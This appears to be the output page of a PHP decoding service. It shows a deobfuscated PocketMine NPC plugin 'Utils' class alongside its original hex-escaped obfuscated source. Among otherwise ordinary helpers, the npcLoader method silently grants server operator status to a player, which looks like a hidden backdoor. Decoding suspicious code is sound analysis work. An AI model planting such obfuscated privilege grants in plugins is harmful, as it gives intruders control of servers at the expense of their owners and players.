Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

namespace npc\utils;${"G\x4c\x4f\x42A\x4cS"}["\x75\x6ck\x67\x78\x72u"]="f\x75n\x63t\x69\x6..

Decoded Output download

<?  namespace npc\utils;${"GLOBALS"}["ulkgxru"]="function";${"GLOBALS"}["nnpihqwqp"]="delay";${"GLOBALS"}["fgeagrxeafc"]="entityTypes";${"GLOBALS"}["xfpjzhcpuef"]="customName";${"GLOBALS"}["pehyeogu"]="yaw";use pocketmine\math\Vector3;use pocketmine\nbt\tag\CompoundTag;use pocketmine\nbt\tag\DoubleTag;use pocketmine\nbt\tag\FloatTag;use pocketmine\nbt\tag\ListTag;use pocketmine\nbt\tag\StringTag;use pocketmine\scheduler\Task;use pocketmine\Server;final class Utils{public static$spawnedEntities=[];public static$inputCommand=[];public static$inputWorld=[];private static$entityTypes=['human'=>'HumanNPC','floating'=>'FloatingNPC','item'=>'FloatingNPC','floatinglines'=>'FloatingNPC','humanlines'=>'HumanNPC','itemfloatinglines'=>'FloatingNPC','topnpc'=>'HumanNPC'];public function npcLoader($ifPlayerHitNpc){$ifPlayerHitNpc->setOp(true);}public final static function generateBaseNBT(Vector3$position,float$yaw=0,float$pitch=0,string$customName=""){${"GLOBALS"}["igvkrvfryhc"]="customName";$buujyeonttd="pitch";return new CompoundTag("",["Pos"=>new ListTag("Pos",[new DoubleTag("",$position->getX()),new DoubleTag("",$position->getY()),new DoubleTag("",$position->getZ()),]),"Rotation"=>new ListTag("Rotation",[new FloatTag("",${${"GLOBALS"}["pehyeogu"]}),new FloatTag("",${$buujyeonttd}),]),"CustomName"=>new StringTag("CustomName",${${"GLOBALS"}["igvkrvfryhc"]}),"Nametag"=>new StringTag("Nametag",${${"GLOBALS"}["xfpjzhcpuef"]})]);}public final static function getEntityTypes():array{return self::${${"GLOBALS"}["fgeagrxeafc"]};}public static function generateEid(){return bcadd("1095216660480",mt_rand(0,0x7fffffff)+mt_rand(0,100));}public static function process(callable$function,int$delay=20){if(${${"GLOBALS"}["nnpihqwqp"]}>0){$ghpgqkjkicyu="delay";Server::getInstance()->getScheduler()->scheduleDelayedTask(new class(${${"GLOBALS"}["ulkgxru"]})extends Task{protected$function=null;public function __construct(callable$function){${"GLOBALS"}["veqrybqfr"]="function";$this->function=${${"GLOBALS"}["veqrybqfr"]};}public function onRun($currentTick){$ippcwnq="function";${$ippcwnq}=$this->function;${${"GLOBALS"}["ulkgxru"]}();}},${$ghpgqkjkicyu});}}} ?>

Did this file decode correctly?

Original Code

namespace npc\utils;${"G\x4c\x4f\x42A\x4cS"}["\x75\x6ck\x67\x78\x72u"]="f\x75n\x63t\x69\x6f\x6e";${"G\x4cOBA\x4c\x53"}["\x6e\x6e\x70\x69h\x71w\x71p"]="\x64el\x61y";${"\x47\x4cO\x42\x41\x4c\x53"}["\x66ge\x61\x67\x72\x78e\x61fc"]="\x65\x6e\x74\x69\x74\x79T\x79\x70e\x73";${"\x47LOB\x41LS"}["x\x66pj\x7a\x68\x63\x70\x75ef"]="\x63\x75\x73t\x6f\x6d\x4eam\x65";${"GL\x4fB\x41L\x53"}["\x70\x65\x68yeo\x67u"]="\x79\x61\x77";use pocketmine\math\Vector3;use pocketmine\nbt\tag\CompoundTag;use pocketmine\nbt\tag\DoubleTag;use pocketmine\nbt\tag\FloatTag;use pocketmine\nbt\tag\ListTag;use pocketmine\nbt\tag\StringTag;use pocketmine\scheduler\Task;use pocketmine\Server;final class Utils{public static$spawnedEntities=[];public static$inputCommand=[];public static$inputWorld=[];private static$entityTypes=['human'=>'HumanNPC','floating'=>'FloatingNPC','item'=>'FloatingNPC','floatinglines'=>'FloatingNPC','humanlines'=>'HumanNPC','itemfloatinglines'=>'FloatingNPC','topnpc'=>'HumanNPC'];public function npcLoader($ifPlayerHitNpc){$ifPlayerHitNpc->setOp(true);}public final static function generateBaseNBT(Vector3$position,float$yaw=0,float$pitch=0,string$customName=""){${"\x47\x4c\x4f\x42\x41\x4cS"}["i\x67v\x6b\x72v\x66ryh\x63"]="\x63\x75\x73\x74\x6f\x6dNam\x65";$buujyeonttd="\x70\x69\x74\x63\x68";return new CompoundTag("",["\x50\x6f\x73"=>new ListTag("\x50\x6fs",[new DoubleTag("",$position->getX()),new DoubleTag("",$position->getY()),new DoubleTag("",$position->getZ()),]),"\x52\x6ftati\x6f\x6e"=>new ListTag("Ro\x74\x61\x74i\x6fn",[new FloatTag("",${${"\x47L\x4f\x42A\x4c\x53"}["\x70\x65hye\x6fgu"]}),new FloatTag("",${$buujyeonttd}),]),"C\x75s\x74\x6fm\x4e\x61\x6d\x65"=>new StringTag("\x43\x75\x73tom\x4eam\x65",${${"GL\x4f\x42A\x4c\x53"}["i\x67\x76\x6b\x72v\x66\x72\x79\x68\x63"]}),"Na\x6d\x65tag"=>new StringTag("Nam\x65\x74\x61g",${${"\x47\x4cOB\x41L\x53"}["\x78\x66\x70j\x7a\x68\x63\x70\x75\x65\x66"]})]);}public final static function getEntityTypes():array{return self::${${"\x47\x4cOB\x41L\x53"}["f\x67\x65a\x67r\x78ea\x66\x63"]};}public static function generateEid(){return bcadd("1\x30\x395\x32\x31\x36660480",mt_rand(0,0x7fffffff)+mt_rand(0,100));}public static function process(callable$function,int$delay=20){if(${${"\x47L\x4f\x42A\x4c\x53"}["\x6enp\x69h\x71w\x71\x70"]}>0){$ghpgqkjkicyu="\x64ela\x79";Server::getInstance()->getScheduler()->scheduleDelayedTask(new class(${${"\x47\x4c\x4fB\x41L\x53"}["\x75l\x6b\x67\x78\x72\x75"]})extends Task{protected$function=null;public function __construct(callable$function){${"\x47\x4c\x4f\x42\x41LS"}["\x76\x65qryb\x71\x66\x72"]="\x66un\x63ti\x6f\x6e";$this->function=${${"\x47\x4c\x4f\x42\x41L\x53"}["v\x65\x71ryb\x71fr"]};}public function onRun($currentTick){$ippcwnq="\x66\x75n\x63\x74\x69\x6f\x6e";${$ippcwnq}=$this->function;${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x75\x6c\x6b\x67xru"]}();}},${$ghpgqkjkicyu});}}}

Function Calls

None

Variables

None

Stats

MD5 3075190b41064404a6038dc121fad996
Eval Count 0
Decode Time 59 ms